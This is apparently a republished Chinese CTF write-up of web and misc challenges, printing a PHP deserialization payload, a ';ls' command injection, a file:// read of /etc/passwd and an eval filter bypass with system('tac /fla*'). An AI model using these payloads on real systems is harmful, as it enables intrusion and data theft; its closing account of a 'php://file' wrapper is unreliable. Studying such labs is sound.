网络安全小赛

2023-11-08 15:20
文章标签 网络安全 小赛

本文主要是介绍网络安全小赛,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

目录

WEB

君子协议(robots.txt文件)

泄露的程序

超文本传输协议

反序列化

Curl

rec

梦想集团

MISC

binwalk

流量分析

网协杯海报

piz.galf

有点矮怎么办

流量分析

流量分析1

流量分析2

time_time

问题

1.file://和php://file他们有什么区别?


WEB

君子协议(robots.txt文件)

robots.txt文件又叫君子协议,因为他上面明确规定了上面文件可以访问,上面不可以访问,变相的告诉你他有什么文件

不知道的也可以直接dirsearch扫描,效果一样,我就是扫描的

响应包,我有两种方法,1是火狐,2是抓包

1火狐

2.抓包

泄露的程序

dirsearch吧,可以扫描爆破出他的备份包,然后下载下来,是一串base64编码,解密后就是flag

超文本传输协议

最后url解密即可

反序列化

 <?php
header("Content-type:text/html;charset=utf-8");
error_reporting(0);
highlight_file(__FILE__);
class Flag{public $user;public $passwd;public function __construct(){$this->user = 'admin';$this->passwd = '123456';}public function __wakeup(){$this->passwd = base64_encode($this->passwd);}public function __destruct(){if(md5($this->user)==md5($this->passwd) & $this->user != $this->passwd){include ('flag.php');echo $flag;}else{echo "error";}}}
$un = $_GET['un'];
unserialize($un);
?> 

md5绕过

<? php
class Flag {
public $user = [];
public $passwd = [ 1 ];
}
$flag = new Flag ();
echo serialize ( $flag );
// O:4:"Flag":2:{s:4:"user";a:0:{}s:6:"passwd";a:1:{i:0;i:1;}}
注意我们需要绕过 __wakeup Flag":2 改为 Flag":3 使即可绕过

我的反序列化笔记里有详细解释

Curl

按要求输入后

多出来一个对话框

查看页面源代码,发现有过滤,过滤数字,什么意思呢,就是必须有数字,也就验证了第一个对话框的内容

运用逻辑符

;ls /tmp -a

发现隐藏文件.flag,直接查看就行

rec

<?php
show_source(__FILE__);
#dasdjf.php
$ysy = $_GET['ysy'];
$parts = parse_url($ysy);
if(empty($parts['host']) || $parts['host'] != 'localhost') {exit('error');
}
readfile($ysy);
?>

parse_url()函数,一个完全不认识的函数

可以看出,他是对一个url进行分析,返回的是一个数组

懂了吧

这样也就很好绕过了,直接ysy=http://loaclhost/什么什么就行了

然后因为他是readfile,所以可以用伪协议file://进行读取

然后我就有了一个问题,file://和php://file他们有什么区别

最下面会回答

构造语句:

?ysy=file://localhost/etc/passwd

注意file://必须是绝对路径

有回显,那我们读取他要我们看的文件,

注意是绝对路径

还是查看页面源代码

<?php
header("Content-type:text/html;charset=utf-8");if (isset($_GET['a'])){$a = $_GET['a'];if (preg_match("/system|exec|highlight/i",$a) && !preg_match("/flag|cat/i",$a)){eval($a);} else{die("error");}
}else{echo "你想干嘛!!!!";
}
?>

可以看出,他要求必须使用system、exec或者highlight,不能有flag和cat

这个好办,cat变成tac,flag变成fla*不就行了

这样没反应,可能是#%的问题,有两种解决方案,1是url编码,2是*或者?绕过

构造

1./dasdjf.php?a=system('tac /fla%23%25g.txt');

2./dasdjf.php?a=system('tac /fla*');

梦想集团

各种寻找,没有任何线索

我们去dirsearch,发信啊robots.txt文件,进行查看,发现编码,进行解码,无解

题解猜测是文件名字!!!!!!我敲猜测原因就是因为那个每句话后面的点,有点离谱哈,记下来吧~

是这样爆破的,注意路径

得出


MISC

binwalk

直接用工具进行binwalk分离就行

流量分析

网协杯海报

010打开后,flag在末尾

piz.galf

倒过来读就是flag.zip

用010打开,复制为16进制

复制出的文本去掉空格和换行后编写代码
把代码反转回来
s =
'0000000000C5000000A500100010000000006050B405109D0FF4AE10FCD4109D0FF4DF62DF8F109
D0FF47F9BB6E60081001000000000000200A0478747E27616C666000000000000000200000000000
000420080000000A200000063E915060E75A3086700000010004100F32010B4054F73971E0E0388D
C2D063CF84B29CD0F9A8F3660B8839DDE406D13E1A2280389E7E92B86C4E84056D9C55638322F57E
0A9B01C611389478747E27616C66600000080000000A200000063E915060E75A3086700000010004
14030B405'
print(s[::-1])
504B03041
4000100000076803A57E060519E360000002A00000008000000666C61672E747874983116C10B9A0
E75F22383655C9D65048E4C68B29E7E9830822A1E31D604EDD9388B0663F8A9F0DC92B48FC360D2C
D8830E0E17937F4504B01023F0014000100000076803A57E060519E360000002A000000080024000
000000000002000000000000000666C61672E7478740A00200000000000010018006E6BB9F74FF0D
901F8FD26FD4FF0D9014DCF01EA4FF0D901504B050600000000010001005A0000005C0000000000
把输出的内容复制下来,然后回到 010editor 新建 16 进制文件

直接开始爆破 得到密码 230926

有点矮怎么办

010修改png的高度,

流量分析

某行业CTF一道流量分析题_keepb1ue的博客-CSDN博客

流量分析1

流量分析2

CTF-数据分析(一)_c02隐藏的数据(300分) 附件为截取到的文件,请找出隐藏的数据。提交flag格式:flag{-CSDN博客CTF-数据分析(一)_c02隐藏的数据(300分) 附件为截取到的文件,请找出隐藏的数据。提交flag格式:flag{-CSDN博客

菜刀流量

time_time

2030-03-18 01:46:40 的时间戳为 1900000000 直接相减转 Ascii 即可, 这题老考点了
import os
flag = []
for i in range(44):
with open(f"time_time/{i}.txt") as f:
time = abs(int(os.path.getmtime(f"time_time/{i}.txt")) - 1900000000)
print(chr(time),end='')
# flag{TimeStamp_is_Very_goooooooooodddddddd!}

问题

1.file://和php://file他们有什么区别?

  1. file://:file:// 是一个通用的文件访问协议,用于访问本地文件系统或网络上可公开访问的文件。它可以用于访问本地计算机上的文件,也可以通过网络路径来访问远程服务器上的文件。例如,file:///path/to/file 表示本地文件系统上的文件,file://hostname/path/to/file 表示远程服务器上的文件。

  2. php://file:php://file 是 PHP 内置的封装协议,用于访问文件系统中的文件。这个协议允许您以流的形式访问文件内容,而不需要通过传统的文件路径进行操作。您可以使用 php://file 来读取、写入和操作文件。

需要注意的是,php://file 只能在 PHP 脚本中使用,而 file:// 则是通用的文件访问协议,可以在各种环境中使用。另外,php://file 还提供了一些特殊的流选项,例如 php://input 用于从请求的输入流中读取数据。

总结起来,file:// 是通用的文件访问协议,而 php://file 是 PHP 内置的封装协议,提供了更丰富的文件操作功能。

这篇关于网络安全小赛的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/370734

相关文章

如何做好网络安全

随着互联网技术的飞速发展,网站已成为企业对外展示、交流和服务的重要窗口。然而,随之而来的网站安全问题也日益凸显,给企业的业务发展和用户数据安全带来了巨大威胁。因此,高度重视网站安全已成为网络安全的首要任务。今天我们就来详细探讨网站安全的重要性、面临的挑战以及有什么应对方案。 一、网站安全的重要性 1. 数据安全与用户隐私 网站是企业存储和传输数据的关键平台,包括用户个人信息、

网络安全运维培训一般多少钱

在当今数字化时代,网络安全已成为企业和个人关注的焦点。而网络安全运维作为保障网络安全的重要环节,其专业人才的需求也日益增长。许多人都对网络安全运维培训感兴趣,那么,网络安全运维培训一般多少钱呢?   一、影响网络安全运维培训价格的因素   1. 培训内容的深度和广度   不同的网络安全运维培训课程涵盖的内容有所不同。一些基础的培训课程可能主要涉及网络安全基础知识、常见安全工具的使用等,价

【网络安全】服务基础第二阶段——第二节:Linux系统管理基础----Linux统计,高阶命令

目录 一、Linux高阶命令 1.1 管道符的基本原理 1.2 重定向 1.2.1 输出重定向 1.2.2 输入重定向 1.2.3 wc命令基本用法 1.3 别名 1.3.1 which命令基本语法 1.3.2 alias命令基本语法 1.4 压缩归档tar 1.4.1 第一种:gzip压缩 1.4.2 第二种:bzip压缩 1.5 tar命令 二、VIM编辑器使用

120张网络安全等保拓扑大全

安全意识培训不是一个ppt通吃,不同的场景应该用不同的培训方式和内容http://mp.weixin.qq.com/s?__biz=MzkwNjY1Mzc0Nw==&mid=2247484385&idx=1&sn=92f5e7f3ee36bdb513379b833651711d&chksm=c0e47abdf793f3ab7f4621b64d29c04acc03b45c0fc1eb613c37f3

网络安全(sql注入)

这里写目录标题 一. information_schema.tables 和 information_schema.schemata是information_schema数据库中的两张表1. information_schema.schemata2. information_schema.tables 二. 判断注入类型1. 判断数字型还是字符型注入2. 判断注入闭合是""还是'' 三. 判

【网络安全】古典密码体制概述

1. 古典密码体制概述 1.1 定义与历史背景 古典密码体制是指在计算机科学和信息安全技术出现之前的传统加密方法。这些方法主要包括替换和易位两种基本形式。古典密码体制的特点是简单、易用,但安全性不高,容易被破解。在古代,人们使用纸、笔或简单的器械来实现加密和解密操作。 定义:古典密码体制是基于简单数学运算和文字替换的加密方法,包括替代密码和置换密码两大类。历史背景:古典密码的使用可以追溯到古

【网络安全 | 甲方建设】SaaS平台、Jira工具及Jenkins服务器

原创文章,不得转载。 文章目录 SaaS平台友好性 Jira友好性 Jenkins友好性 SaaS平台 SaaS,全称为 “Software as a Service”(软件即服务),是一种基于云计算的软件交付模型。在这种模型中,软件不需要用户在本地安装和维护,而是通过互联网访问和使用。软件通常由服务提供商托管,用户只需通过浏览器或轻量级客户端连接到远程服务器即可使用

PCDN 技术如何保障网络安全(壹)

在当今数字化时代,网络安全成为了至关重要的问题。PCDN(Peer-to-Peer Content Delivery Network)技术在提升内容分发效率的同时,也采取了一系列措施来保障网络安全。 一、加密传输与数据保护 PCDN 技术采用先进的加密算法对传输中的数据进行加密,确保数据在节点之间传输的安全性。无论是用户请求的内容还是节点之间共享的数据,都被加密处理,使得黑客即使截取了数据

【网络安全 | 甲方建设】开发、测试、部署关键词详解

原创文章,不得转载。 文章目录 需求与开发原生需求重构新增服务调用 测试与覆盖率单元测试增量代码单测UT覆盖率CR前覆盖率APP回归测试回归测试自动化冒烟 部署与环境Stable环境部署待部署服务名称代码分支待部署代码分支PR链接灰度发布蓝绿发布Canary发布热修复(Hotfix)Mock环境Redis非Cluster模式Nacos变更 持续集成与交付持续集成(CI)持续交付(C

随着人们网络安全意识提高,软件架构设计与评估也成为重中之重

目录 案例 【题目】 【问题 1】(13 分) 【问题 2】(12分) 【答案】 【问题 1】答案 【问题 2】答案 相关推荐 案例         阅读以下关于软件架构设计与评估的叙述,回答问题 1 和问题 2。 【题目】         某电子商务公司为正更好地管理用户,提升企业销售业绩,拟开发一套用户管理系统。该系统的基本功能是根据用户的消费级别、消费历史、信